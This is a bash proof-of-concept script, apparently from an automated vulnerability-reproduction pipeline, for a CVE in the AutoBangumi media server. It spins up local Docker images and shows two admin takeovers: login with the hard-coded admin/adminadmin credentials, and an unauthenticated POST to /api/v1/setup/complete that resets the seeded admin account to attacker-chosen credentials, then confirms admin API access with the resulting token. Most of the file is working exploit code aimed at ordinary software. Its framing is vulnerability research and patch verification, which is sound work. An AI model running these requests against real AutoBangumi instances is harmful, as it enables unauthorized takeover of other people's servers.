#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-58466 (AutoBangumi < 3.2.8) — VARIANT / BYPASS reproduction
# =============================================================================
# Parent RCA reproduced the default-credential takeover (admin/adminadmin) on
# the REAL AutoBangumi 3.2.6 image via POST /api/v1/auth/login, and showed the
# referenced "fix" (commit 487bdfec, version 3.2.8) is SSRF hardening of the
# pre-auth /setup/test-* endpoints — it does NOT touch add_default_user() or
# the login endpoint. The 3.2.8 negative control still accepted admin/adminadmin.
#
# This variant script proves TWO materially distinct bypasses/variants on the
# FIXED / LATEST official Docker images:
#
#   VARIANT 1 (BYPASS, same root cause): The hard-coded default credentials
#     admin/adminadmin still authenticate via POST /api/v1/auth/login on the
#     "patched" :latest (= 3.2.8 build) and on :3.3.0-beta.2 (latest beta).
#     add_default_user() and the login handler are byte-identical (modulo an
#     async DB refactor) from 3.2.6 through HEAD -> the patch is ineffective.
#
#   VARIANT 2 (ALTERNATE TRIGGER, different entry point): The pre-auth
#     POST /api/v1/setup/complete endpoint, reachable on a fresh instance
#     (need_setup=true), calls db.user.update_user("admin", ...) and RESETS the
#     auto-seeded admin account's username/password to attacker-chosen values
#     WITHOUT requiring the default credentials. The attacker then logs in with
#     their own creds and obtains full admin API access. This is a distinct
#     entry point (/api/v1/setup/complete vs /api/v1/auth/login) reaching the
#     same fresh-instance admin-takeover impact, and it also reproduces on the
#     fixed/latest version. Any fix that only gates /auth/login would NOT stop
#     this path.
#
#   RULE-OUT: DEV_AUTH_BYPASS (get_current_user returns "dev_user" when
#     module.__version__ is unimportable -> VERSION == "DEV_VERSION") is NOT
#     active in the official images (they ship a real VERSION); a no-auth
#     GET /api/v1/rss returns 401. Documented as a latent source-install issue,
#     NOT claimed as a production variant.
#
# Exit 0 = bypass/variant reproduced on the FIXED/LATEST version.
# Exit 1 = no bypass on the fixed version (variant only on vulnerable, or none).
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VVAR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
ART="$VVAR/artifacts"
mkdir -p "$LOGS" "$ART"
cd "$ROOT"

# --- docker helper (sandbox may run as non-root) ----------------------------
if docker ps >/dev/null 2>&1; then
    DOCKER="docker"
elif sudo docker ps >/dev/null 2>&1; then
    DOCKER="sudo docker"
else
    echo "ERROR: docker daemon not accessible." | tee "$LOGS/docker_error.log"
    exit 2
fi
echo "Using docker: $DOCKER"

VULN_IMG="ghcr.io/estrellaxd/auto_bangumi:3.2.6"        # vulnerable baseline (< 3.2.8)
LATEST_IMG="ghcr.io/estrellaxd/auto_bangumi:latest"      # = 3.2.8 build (the "patched" version)
BETA_IMG="ghcr.io/estrellaxd/auto_bangumi:3.3.0-beta.2"  # latest beta tag

DEF_USER="admin"
DEF_PASS="adminadmin"

# Aggregate result flags
VULN_LOGIN_OK=0;   VULN_ADMIN_OK=0;   VULN_SEED=0;   VULN_VER=""
LATEST_LOGIN_OK=0; LATEST_ADMIN_OK=0; LATEST_SEED=0; LATEST_VER=""
BETA_LOGIN_OK=0;   BETA_SEED=0;       BETA_VER=""
SETUP_TAKEOVER_OK=0; SETUP_TAKEOVER_VER=""
DEV_BYPASS_ACTIVE=0   # 1 == no-auth admin access succeeded (would be a separate finding)

cleanup() {
    for n in ab-var-vuln ab-var-latest ab-var-beta ab-var-setup; do
        $DOCKER rm -f "$n" >/dev/null 2>&1 || true
    done
    for v in ab-var-vuln-vol ab-var-latest-vol ab-var-beta-vol ab-var-setup-vol; do
        $DOCKER volume rm "$v" >/dev/null 2>&1 || true
    done
}
trap cleanup EXIT
cleanup

# --- in-container HTTP probe (supports form/json/none bodies + extra headers) -
cat > "$VVAR/ab_probe2.py" <<'PYEOF'
import sys, urllib.request, urllib.parse, json, base64, re
method, path, outfile = sys.argv[1:4]
body_kind = sys.argv[4] if len(sys.argv) > 4 else "none"
body_str = sys.argv[5] if len(sys.argv) > 5 else ""
headers = {}
for h in sys.argv[6:]:
    if ":" in h:
        k, v = h.split(":", 1)
        headers[k.strip()] = v.strip()
url = "http://127.0.0.1:7892" + path
body = None
if body_kind == "form" and body_str:
    body = urllib.parse.urlencode(
        dict(p.split("=", 1) for p in body_str.split("&") if "=" in p)
    ).encode()
    headers["Content-Type"] = "application/x-www-form-urlencoded"
elif body_kind == "json" and body_str:
    body = body_str.encode()
    headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=body, headers=headers, method=method)
try:
    resp = urllib.request.urlopen(req, timeout=15)
    status = resp.status; hdrs = dict(resp.headers); raw = resp.read().decode(errors="replace")
except urllib.error.HTTPError as e:
    status = e.code; hdrs = dict(e.headers); raw = e.read().decode(errors="replace")
except Exception as e:
    status = -1; hdrs = {}; raw = repr(e)
jwt_payload = None
for src in (raw, hdrs.get("set-cookie", "")):
    m = re.search(r'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.([A-Za-z0-9_-]+)', src)
    if m:
        seg = m.group(1); seg += "=" * (-len(seg) % 4)
        try: jwt_payload = base64.urlsafe_b64decode(seg).decode()
        except Exception: jwt_payload = None
        break
result = {"method": method, "path": path, "status": status,
          "set_cookie": hdrs.get("set-cookie"), "body": raw[:4000], "jwt_payload": jwt_payload}
with open(outfile, "w") as f:
    json.dump(result, f, indent=2)
print(json.dumps(result, indent=2))
PYEOF

# --- pull images -------------------------------------------------------------
echo "[*] Pulling images" | tee "$LOGS/run.log"
for img in "$VULN_IMG" "$LATEST_IMG" "$BETA_IMG"; do
    echo "    pull $img" | tee -a "$LOGS/run.log"
    $DOCKER pull "$img" >"$LOGS/pull-$(basename $img).log" 2>&1 || { echo "pull $img failed" | tee -a "$LOGS/run.log"; exit 2; }
done

# --- helpers -----------------------------------------------------------------
start_fresh() {
    local name="$1" vol="$2" img="$3"
    $DOCKER volume create "$vol" >/dev/null 2>&1
    $DOCKER run -d --name "$name" -v "$vol:/app/data" -v "$vol:/app/config" \
        -e TZ=Asia/Shanghai "$img" >/dev/null
}
wait_ready() {
    local name="$1" max="$2"
    for i in $(seq 1 "$max"); do
        if $DOCKER logs "$name" 2>&1 | grep -q "Application startup complete"; then return 0; fi
        sleep 1
    done
    return 1
}
# http_probe <container> <method> <path> <body_kind> <body_str> <outfile> [headers...]
http_probe() {
    local container="$1" method="$2" path="$3" bk="$4" bs="$5" outfile="$6"; shift 6
    $DOCKER cp "$VVAR/ab_probe2.py" "$container:/tmp/ab_probe2.py" >/dev/null 2>&1
    $DOCKER exec "$container" python3 /tmp/ab_probe2.py "$method" "$path" "/tmp/probe_out.json" "$bk" "$bs" "$@" >/dev/null 2>&1
    $DOCKER cp "$container:/tmp/probe_out.json" "$outfile" >/dev/null 2>&1
    python3 -c "import json; print(json.dumps(json.load(open('$outfile'))))" 2>/dev/null || true
}
get_status() { python3 -c "import json; print(json.load(open('$1'))['status'])" 2>/dev/null || echo ERR; }
get_jwt_sub() {
    python3 -c "import json,re; d=json.load(open('$1')); sc=d.get('set_cookie') or ''; m=re.search(r'token=([^;]+)', sc); print(m.group(1) if m else '')" 2>/dev/null || true
}
get_image_version() {
    $DOCKER exec "$1" python3 -c "import module.__version__ as v; print(getattr(v,'VERSION','?'))" 2>/dev/null | head -1 || echo "?"
}

# =============================================================================
# Default-credentials bypass test (Variant 1) against a given image
# =============================================================================
run_default_creds() {
    local img="$1" label="$2" prefix="$3"
    local name="ab-var-${prefix}" vol="ab-var-${prefix}-vol"
    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
    echo "" | tee -a "$LOGS/run.log"
    echo "========== [$label] $img — default-creds bypass test ==========" | tee -a "$LOGS/run.log"
    start_fresh "$name" "$vol" "$img"
    if ! wait_ready "$name" 50; then
        echo "[!] $label did not become ready" | tee -a "$LOGS/run.log"
        $DOCKER logs "$name" >"$LOGS/${prefix}-startup.log" 2>&1 || true
        $DOCKER rm -f "$name" >/dev/null 2>&1 || true; $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
        return 1
    fi
    $DOCKER logs "$name" >"$LOGS/${prefix}-startup.log" 2>&1 || true
    local ver; ver=$(get_image_version "$name")
    echo "    image VERSION = $ver" | tee -a "$LOGS/run.log"
    if grep -q "Created default admin user" "$LOGS/${prefix}-startup.log"; then
        echo "    [+] startup seeded default admin user (add_default_user)" | tee -a "$LOGS/run.log"
        case "$prefix" in
            vuln)   VULN_SEED=1;   VULN_VER="$ver"   ;;
            latest) LATEST_SEED=1; LATEST_VER="$ver" ;;
            beta)   BETA_SEED=1;   BETA_VER="$ver"   ;;
        esac
    fi

    # DEV bypass rule-out: no-auth GET /api/v1/rss (expect 401)
    http_probe "$name" "GET" "/api/v1/rss" "none" "" "$ART/${prefix}-noauth-rss.json"
    local noauth; noauth=$(get_status "$ART/${prefix}-noauth-rss.json")
    echo "    no-auth GET /api/v1/rss -> $noauth (401 = DEV bypass NOT active)" | tee -a "$LOGS/run.log"
    if [ "$noauth" = "200" ]; then
        DEV_BYPASS_ACTIVE=1
        echo "    [!] DEV_AUTH_BYPASS appears ACTIVE (no-auth admin access) — separate finding" | tee -a "$LOGS/run.log"
    fi

    # Variant 1: default credentials login
    echo "    POST /api/v1/auth/login admin/adminadmin" | tee -a "$LOGS/run.log"
    http_probe "$name" "POST" "/api/v1/auth/login" "form" "username=${DEF_USER}&password=${DEF_PASS}" "$ART/${prefix}-login.json"
    local ls; ls=$(get_status "$ART/${prefix}-login.json")
    local tok; tok=$(get_jwt_sub "$ART/${prefix}-login.json")
    if [ "$ls" = "200" ] && [ -n "$tok" ]; then
        echo "    [+] $label: default-cred LOGIN SUCCEEDED (200 + admin JWT)" | tee -a "$LOGS/run.log"
        case "$prefix" in
            vuln)   VULN_LOGIN_OK=1   ;;
            latest) LATEST_LOGIN_OK=1 ;;
            beta)   BETA_LOGIN_OK=1   ;;
        esac
        # admin endpoint access with the session cookie
        http_probe "$name" "GET" "/api/v1/rss" "none" "" "$ART/${prefix}-rss.json" "Cookie: token=$tok"
        local rs; rs=$(get_status "$ART/${prefix}-rss.json")
        echo "    GET /api/v1/rss with JWT cookie -> $rs" | tee -a "$LOGS/run.log"
        if [ "$rs" = "200" ]; then
            echo "    [+] $label: ADMIN ACCESS CONFIRMED (/api/v1/rss 200)" | tee -a "$LOGS/run.log"
            case "$prefix" in
                vuln)   VULN_ADMIN_OK=1   ;;
                latest) LATEST_ADMIN_OK=1 ;;
            esac
        fi
    else
        echo "    [-] $label: default-cred login rejected (status=$ls)" | tee -a "$LOGS/run.log"
    fi
    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
}

# =============================================================================
# /setup/complete pre-auth takeover test (Variant 2)
# =============================================================================
run_setup_takeover() {
    local img="$1" label="$2"
    local name="ab-var-setup" vol="ab-var-setup-vol"
    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
    echo "" | tee -a "$LOGS/run.log"
    echo "========== [$label] $img — /setup/complete pre-auth takeover (Variant 2) ==========" | tee -a "$LOGS/run.log"
    start_fresh "$name" "$vol" "$img"
    if ! wait_ready "$name" 50; then
        echo "[!] setup-takeover target did not become ready" | tee -a "$LOGS/run.log"
        $DOCKER logs "$name" >"$LOGS/setup-startup.log" 2>&1 || true
        $DOCKER rm -f "$name" >/dev/null 2>&1 || true; $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
        return 1
    fi
    $DOCKER logs "$name" >"$LOGS/setup-startup.log" 2>&1 || true
    local ver; ver=$(get_image_version "$name")
    SETUP_TAKEOVER_VER="$ver"
    echo "    image VERSION = $ver" | tee -a "$LOGS/run.log"

    # 1) pre-auth setup status
    http_probe "$name" "GET" "/api/v1/setup/status" "none" "" "$ART/setup-status.json"
    echo "    GET /api/v1/setup/status (pre-auth) -> $(get_status $ART/setup-status.json) body=$(python3 -c "import json;print(json.load(open('$ART/setup-status.json'))['body'][:120])" 2>/dev/null)" | tee -a "$LOGS/run.log"

    # 2) pre-auth takeover: reset the auto-seeded admin account to attacker creds
    local body='{"username":"pwned","password":"pwnedpw1","downloader_type":"qbittorrent","downloader_host":"http://10.255.255.1:1","downloader_username":"x","downloader_password":"x"}'
    http_probe "$name" "POST" "/api/v1/setup/complete" "json" "$body" "$ART/setup-complete.json"
    echo "    POST /api/v1/setup/complete (pre-auth, attacker creds) -> $(get_status $ART/setup-complete.json)" | tee -a "$LOGS/run.log"

    # 3) login with the attacker-chosen credentials
    http_probe "$name" "POST" "/api/v1/auth/login" "form" "username=pwned&password=pwnedpw1" "$ART/setup-login.json"
    local ls tok; ls=$(get_status "$ART/setup-login.json"); tok=$(get_jwt_sub "$ART/setup-login.json")
    echo "    POST /api/v1/auth/login pwned/pwnedpw1 -> $ls" | tee -a "$LOGS/run.log"

    # 4) admin API access with the attacker JWT
    local admin_ok=0
    if [ "$ls" = "200" ] && [ -n "$tok" ]; then
        http_probe "$name" "GET" "/api/v1/rss" "none" "" "$ART/setup-rss.json" "Cookie: token=$tok"
        local rs; rs=$(get_status "$ART/setup-rss.json")
        echo "    GET /api/v1/rss with attacker JWT -> $rs" | tee -a "$LOGS/run.log"
        [ "$rs" = "200" ] && admin_ok=1
    fi

    # 5) confirm the default account was taken over (admin/adminadmin now 401)
    http_probe "$name" "POST" "/api/v1/auth/login" "form" "username=admin&password=adminadmin" "$ART/setup-oldlogin.json"
    echo "    POST /api/v1/auth/login admin/adminadmin (post-takeover) -> $(get_status $ART/setup-oldlogin.json)" | tee -a "$LOGS/run.log"

    if [ "$admin_ok" = "1" ]; then
        SETUP_TAKEOVER_OK=1
        echo "    [+] $label: VARIANT 2 CONFIRMED — pre-auth /setup/complete -> attacker admin takeover" | tee -a "$LOGS/run.log"
    else
        echo "    [-] $label: Variant 2 not confirmed on this image" | tee -a "$LOGS/run.log"
    fi
    $DOCKER rm -f "$name" >/dev/null 2>&1 || true
    $DOCKER volume rm "$vol" >/dev/null 2>&1 || true
}

# --- run all tests -----------------------------------------------------------
run_default_creds "$VULN_IMG"   "VULNERABLE 3.2.6" "vuln"
run_default_creds "$LATEST_IMG" "FIXED/LATEST (:latest=3.2.8)" "latest"
run_default_creds "$BETA_IMG"   "LATEST BETA 3.3.0-beta.2" "beta"
run_setup_takeover "$LATEST_IMG" "FIXED/LATEST (:latest=3.2.8)"

# --- summary -----------------------------------------------------------------
echo "" | tee -a "$LOGS/run.log"
echo "================ VARIANT SUMMARY ================" | tee -a "$LOGS/run.log"
echo "VARIANT 1 (default-creds bypass): vuln_login=$VULN_LOGIN_OK vuln_admin=$VULN_ADMIN_OK (ver=$VULN_VER) | latest_login=$LATEST_LOGIN_OK latest_admin=$LATEST_ADMIN_OK (ver=$LATEST_VER) | beta_login=$BETA_LOGIN_OK (ver=$BETA_VER)" | tee -a "$LOGS/run.log"
echo "VARIANT 2 (/setup/complete pre-auth takeover): setup_takeover=$SETUP_TAKEOVER_OK (ver=$SETUP_TAKEOVER_VER)" | tee -a "$LOGS/run.log"
echo "RULE-OUT: DEV_AUTH_BYPASS active=$DEV_BYPASS_ACTIVE (0 = not active in official images, as expected)" | tee -a "$LOGS/run.log"

BYPASS_CONFIRMED=0
if { [ "$LATEST_LOGIN_OK" = "1" ] && [ "$LATEST_ADMIN_OK" = "1" ]; } || [ "$BETA_LOGIN_OK" = "1" ] || [ "$SETUP_TAKEOVER_OK" = "1" ]; then
    BYPASS_CONFIRMED=1
fi

if [ "$BYPASS_CONFIRMED" = "1" ]; then
    echo "[===] BYPASS/CONFIRMED: variant(s) reproduced on the FIXED/LATEST AutoBangumi image" | tee -a "$LOGS/run.log"
else
    echo "[===] No bypass reproduced on the fixed/latest image." | tee -a "$LOGS/run.log"
fi

# --- runtime manifest --------------------------------------------------------
python3 - "$VVAR/runtime_manifest.json" "$BYPASS_CONFIRMED" "$VULN_LOGIN_OK" "$VULN_ADMIN_OK" \
    "$LATEST_LOGIN_OK" "$LATEST_ADMIN_OK" "$BETA_LOGIN_OK" "$SETUP_TAKEOVER_OK" \
    "$DEV_BYPASS_ACTIVE" "$VULN_VER" "$LATEST_VER" "$BETA_VER" "$SETUP_TAKEOVER_VER" <<'PYEOF'
import json, sys
(out, confirmed, vl, va, ll, la, bl, st, dev, vv, lv, bv, sv) = sys.argv[1:14]
manifest = {
    "variant_stage": "vuln_variant",
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "AutoBangumi FastAPI on port 7892 — (V1) POST /api/v1/auth/login with default creds; (V2) POST /api/v1/setup/complete pre-auth takeover",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": bool(int(confirmed)),
    "runtime_stack": ["docker", "AutoBangumi official ghcr images", "uvicorn/FastAPI", "SQLite"],
    "tested_images": {
        "vulnerable_baseline": {"image": "ghcr.io/estrellaxd/auto_bangumi:3.2.6", "reported_version": vv},
        "fixed_latest": {"image": "ghcr.io/estrellaxd/auto_bangumi:latest", "reported_version": lv},
        "latest_beta": {"image": "ghcr.io/estrellaxd/auto_bangumi:3.3.0-beta.2", "reported_version": bv},
    },
    "variant_1_default_creds_bypass": {
        "vulnerable_3_2_6_login_ok": bool(int(vl)),
        "vulnerable_3_2_6_admin_ok": bool(int(va)),
        "fixed_latest_login_ok": bool(int(ll)),
        "fixed_latest_admin_ok": bool(int(la)),
        "latest_beta_login_ok": bool(int(bl)),
    },
    "variant_2_setup_complete_takeover": {
        "fixed_latest_takeover_ok": bool(int(st)),
        "reported_version": sv,
    },
    "dev_bypass_rule_out": {"no_auth_admin_access_observed": bool(int(dev)), "note": "DEV_AUTH_BYPASS not active in official images (real VERSION shipped)"},
    "proof_artifacts": [
        "logs/vuln_variant/run.log",
        "logs/vuln_variant/vuln-startup.log",
        "logs/vuln_variant/latest-startup.log",
        "logs/vuln_variant/beta-startup.log",
        "logs/vuln_variant/setup-startup.log",
        "vuln_variant/artifacts/vuln-login.json",
        "vuln_variant/artifacts/vuln-rss.json",
        "vuln_variant/artifacts/latest-login.json",
        "vuln_variant/artifacts/latest-rss.json",
        "vuln_variant/artifacts/latest-noauth-rss.json",
        "vuln_variant/artifacts/beta-login.json",
        "vuln_variant/artifacts/beta-noauth-rss.json",
        "vuln_variant/artifacts/setup-status.json",
        "vuln_variant/artifacts/setup-complete.json",
        "vuln_variant/artifacts/setup-login.json",
        "vuln_variant/artifacts/setup-rss.json",
        "vuln_variant/artifacts/setup-oldlogin.json",
    ],
    "notes": (
        "VARIANT 1 (bypass): default admin/adminadmin still authenticates via POST /api/v1/auth/login "
        "on the patched :latest (=3.2.8) and :3.3.0-beta.2; add_default_user() + login handler unchanged "
        "from 3.2.6->HEAD (modulo async DB refactor). Referenced fix 487bdfec is SSRF hardening of /setup/test-*, "
        "does NOT remediate default credentials. "
        "VARIANT 2 (alternate trigger): pre-auth POST /api/v1/setup/complete on a fresh instance resets the "
        "auto-seeded admin account to attacker-chosen creds (no default password needed) -> full admin access; "
        "different entry point, same impact, reproduces on fixed/latest. "
        "RULE-OUT: DEV_AUTH_BYPASS inactive in official images (no-auth /api/v1/rss -> 401)."
    ),
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
print("wrote", out)
PYEOF

if [ "$BYPASS_CONFIRMED" = "1" ]; then
    exit 0
else
    exit 1
fi
